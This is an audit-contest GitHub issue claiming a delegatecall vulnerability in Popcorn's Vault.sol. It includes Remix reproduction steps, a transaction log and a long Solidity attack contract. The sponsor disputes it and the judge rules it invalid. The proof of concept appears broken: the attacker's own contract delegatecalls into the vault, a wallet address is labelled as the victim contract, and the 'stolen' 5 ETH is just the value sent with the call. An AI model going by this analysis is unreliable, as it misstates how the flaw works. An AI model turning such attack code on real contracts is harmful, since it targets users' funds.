code-423n4 / 2023-01-popcorn-findings

0 stars 0 forks source link

SWC-112 Delegate call to Untrusted Callee #205

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L57

Vulnerability details

Impact

File: 
src/vault/Vault.sol

Description:
SWC-112 Delegate call to Untrusted Callee.  
There exists a special variant of a message call, named delegate call which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values. 
This allows a smart contract to dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract.
Calling into untrusted contracts is very dangerous, as the code at the target address can change any storage values of the caller and has full control over the caller's balance.

Proof of Concept

Prep:
Victim Contract
1. recreate the following contract in Remix IDE "Vault.sol"
2. compile contract
3. go to deploy and run transactions tab
4. set environment to Remix VM (London)
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 100 ETH.  NB: I have already tested it so current balance is 94...ETH.

Attack Contract
7. In Remix IDE recreate my PoC code below and save as a contract called "VaultDebo.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Remix VM (London). And set the value to 90 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. The select first account from "Account" drop list before next step.

action
NB:
victim contract address 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
attack contract address 0x9ecEA68DE55F316B702f27eE389D10C2EE0dde84

1. start balance of victim contract Balance: 94.999999999999876009 ETH
2. start balance of attack contract Balance: 90 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 5 ether
5. in low level interactions call data input box paste victim contract in there e.g. 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
6. click on call attack() function button in attack contract
7. end balance of victim contract Balance: 89.9999999999998511 ETH
8. end balance of attack contract Balance: 95 ETH
9. Finally, 5 ETHER has been deducted from victim contract and deposited into attacker contract.  

Log:
[vm]from: 0x5B3...eddC4to: VaultDebo.attack() 0x9ec...dde84value: 5000000000000000000 weidata: 0x9e5...faafclogs: 0hash: 0x1b5...fb824
status  true Transaction mined and execution succeed
transaction hash    0x1b5cb1111503eef9740929240f9bd3f2a3dabb6ca5fe312b326fcf0b210fb824
from    0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to  VaultDebo.attack() 0x9ecEA68DE55F316B702f27eE389D10C2EE0dde84
gas 28646 gas
transaction cost    24909 gas 
execution cost  24909 gas 
input   0x9e5...faafc
decoded input   {}
decoded output  {}
logs    []
val 5000000000000000000 wei

PoC:
// SPDX-License-Identifier: GPL-3.0
// Docgen-SOLC: 0.8.15

pragma solidity >=0.6.0 <0.9.0;

import "./Vault.sol";

contract VaultDebo {
    uint256 constant SECONDS_PER_YEAR = 365.25 days;

    IERC20 public asset;
    uint8 public _decimals;

    bytes32 public contractName;

    Vault public vaultaddress;

    constructor(Vault _vaultaddress) public payable {
        vaultaddress = Vault(_vaultaddress);
    }

    function initialize(
        IERC20 asset_,
        IERC4626 adapter_,
        VaultFees calldata fees_,
        address feeRecipient_,
        address owner
    ) external payable {
        vaultaddress.initialize(
            asset_,
            adapter_,
            fees_,
            address(vaultaddress),
            address(vaultaddress)
        );
    }

    function decimals() public view returns (uint8) {
        return vaultaddress.decimals();
    }

    event Deposit(
        address indexed caller,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );
    event Withdraw(
        address indexed caller,
        address indexed receiver,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );

    function deposit(uint256 assets) public payable returns (uint256) {
        vaultaddress.deposit(5, address(vaultaddress));
        return vaultaddress.deposit(5, address(vaultaddress));
    }

    function deposit(uint256 assets, address receiver)
        public
        payable
        returns (uint256 shares)
    {
        vaultaddress.deposit(5, address(vaultaddress));
        return vaultaddress.deposit(5, address(vaultaddress));
    }

    function mint(uint256 shares) external payable returns (uint256) {
        vaultaddress.mint(5, address(vaultaddress));
        return vaultaddress.mint(5, address(vaultaddress));
    }

    function mint(uint256 shares, address receiver)
        public
        payable
        returns (uint256 assets)
    {
        vaultaddress.mint(5, address(vaultaddress));
        return vaultaddress.mint(5, address(vaultaddress));
    }

    function withdraw(uint256 assets) public payable returns (uint256) {
        vaultaddress.withdraw(5, address(vaultaddress), address(vaultaddress));
        return
            vaultaddress.withdraw(
                5,
                address(vaultaddress),
                address(vaultaddress)
            );
    }

    function withdraw(
        uint256 assets,
        address receiver,
        address owner
    ) public payable returns (uint256 shares) {
        vaultaddress.withdraw(5, address(vaultaddress), address(vaultaddress));
        return
            vaultaddress.withdraw(
                5,
                address(vaultaddress),
                address(vaultaddress)
            );
    }

    function redeem(uint256 shares) external returns (uint256) {
        vaultaddress.redeem(5);
        return vaultaddress.redeem(5);
    }

    function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public payable returns (uint256 assets) {
        vaultaddress.redeem(5, address(vaultaddress), address(vaultaddress));
        return
            vaultaddress.redeem(
                5,
                address(vaultaddress),
                address(vaultaddress)
            );
    }

    function totalAssets() public view returns (uint256) {
        return vaultaddress.totalAssets();
    }

    function convertToShares(uint256 assets) public view returns (uint256) {
        return vaultaddress.convertToShares(5);
    }

    function convertToAssets(uint256 shares) public view returns (uint256) {
        return vaultaddress.convertToAssets(5);
    }

    function previewDeposit(uint256 assets)
        public
        view
        returns (uint256 shares)
    {
        return vaultaddress.previewDeposit(5);
    }

    function previewMint(uint256 shares) public view returns (uint256 assets) {
        return vaultaddress.previewMint(5);
    }

    function previewWithdraw(uint256 assets)
        external
        view
        returns (uint256 shares)
    {
        return vaultaddress.previewWithdraw(5);
    }

    function previewRedeem(uint256 shares)
        public
        view
        returns (uint256 assets)
    {
        return vaultaddress.previewRedeem(5);
    }

    function maxDeposit(address caller) public view returns (uint256) {
        return vaultaddress.maxDeposit(address(vaultaddress));
    }

    function maxMint(address caller) external view returns (uint256) {
        return vaultaddress.maxMint(address(vaultaddress));
    }

    function maxWithdraw(address caller) external view returns (uint256) {
        return vaultaddress.maxWithdraw(address(vaultaddress));
    }

    function maxRedeem(address caller) external view returns (uint256) {
        return vaultaddress.maxRedeem(address(vaultaddress));
    }

    function accruedManagementFee() public view returns (uint256) {
        return vaultaddress.accruedManagementFee();
    }

    function accruedPerformanceFee() public view returns (uint256) {
        return vaultaddress.accruedPerformanceFee();
    }

    uint256 public highWaterMark = 1e18;
    uint256 public assetsCheckpoint;
    uint256 public feesUpdatedAt;

    function takeManagementAndPerformanceFees() external payable {
        vaultaddress.takeManagementAndPerformanceFees();
    }

    VaultFees public fees;

    VaultFees public proposedFees;
    uint256 public proposedFeeTime;

    address public feeRecipient;

    function proposeFees(VaultFees calldata newFees) external payable {
        vaultaddress.proposeFees(newFees);
    }

    function changeFees() external payable {
        vaultaddress.changeFees();
    }

    function setFeeRecipient(address _feeRecipient) external payable {
        vaultaddress.setFeeRecipient(address(vaultaddress));
    }

    IERC4626 public adapter;
    IERC4626 public proposedAdapter;
    uint256 public proposedAdapterTime;

    function proposeAdapter(IERC4626 newAdapter) external payable {
        vaultaddress.proposeAdapter(newAdapter);
    }

    function changeAdapter() external payable {
        vaultaddress.changeAdapter();
    }

    uint256 public quitPeriod = 3 days;

    function setQuitPeriod(uint256 _quitPeriod) external payable {
        vaultaddress.setQuitPeriod(5);
    }

    function pause() external payable {
        vaultaddress.pause();
    }

    function unpause() external payable {
        vaultaddress.unpause();
    }

    uint256 internal INITIAL_CHAIN_ID;
    bytes32 internal INITIAL_DOMAIN_SEPARATOR;
    mapping(address => uint256) public nonces;

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        vaultaddress.permit(
            address(vaultaddress),
            address(vaultaddress),
            5,
            4,
            3,
            bytes32("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh3"),
            bytes32("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh4")
        );
    }

    function DOMAIN_SEPARATOR() public view returns (bytes32) {
        return vaultaddress.DOMAIN_SEPARATOR();
    }

    function computeDomainSeparator() external view virtual returns (bytes32) {
        //return vaultaddress.computeDomainSeparator();
    }

    fallback() external payable {
        vaultaddress.initialize(
            asset,
            adapter,
            fees,
            address(vaultaddress),
            address(vaultaddress)
        );

        vaultaddress.deposit(5, address(vaultaddress));

        vaultaddress.mint(5, address(vaultaddress));

        vaultaddress.withdraw(5, address(vaultaddress), address(vaultaddress));

        vaultaddress.redeem(5, address(vaultaddress), address(vaultaddress));

        vaultaddress.redeem(5);

      //  vaultaddress.proposeAdapter(newAdapter);

        vaultaddress.changeAdapter();
    }

    receive() external payable {
        vaultaddress.initialize(
            asset,
            adapter,
            fees,
            address(vaultaddress),
            address(vaultaddress)
        );

        vaultaddress.deposit(5, address(vaultaddress));

        vaultaddress.mint(5, address(vaultaddress));

        vaultaddress.withdraw(5, address(vaultaddress), address(vaultaddress));

        vaultaddress.redeem(5, address(vaultaddress), address(vaultaddress));

        vaultaddress.redeem(5);

        //vaultaddress.proposeAdapter(newAdapter);

        vaultaddress.changeAdapter();
    }

    function attack() public payable {
        address(vaultaddress).delegatecall(
            abi.encodeWithSignature("fallback()")
        );
        address(vaultaddress).delegatecall(
            abi.encodeWithSignature("receive()")
        );
    }
}

Tools Used

Remix IDE

Recommended Mitigation Steps

Use delegate call with caution and make sure to never call into untrusted contracts. 
If the target address is derived from user input ensure to check it against a whitelist of trusted contracts.
c4-sponsor commented 1 year ago

RedVeil marked the issue as sponsor disputed

c4-judge commented 1 year ago

dmvt marked the issue as unsatisfactory: Invalid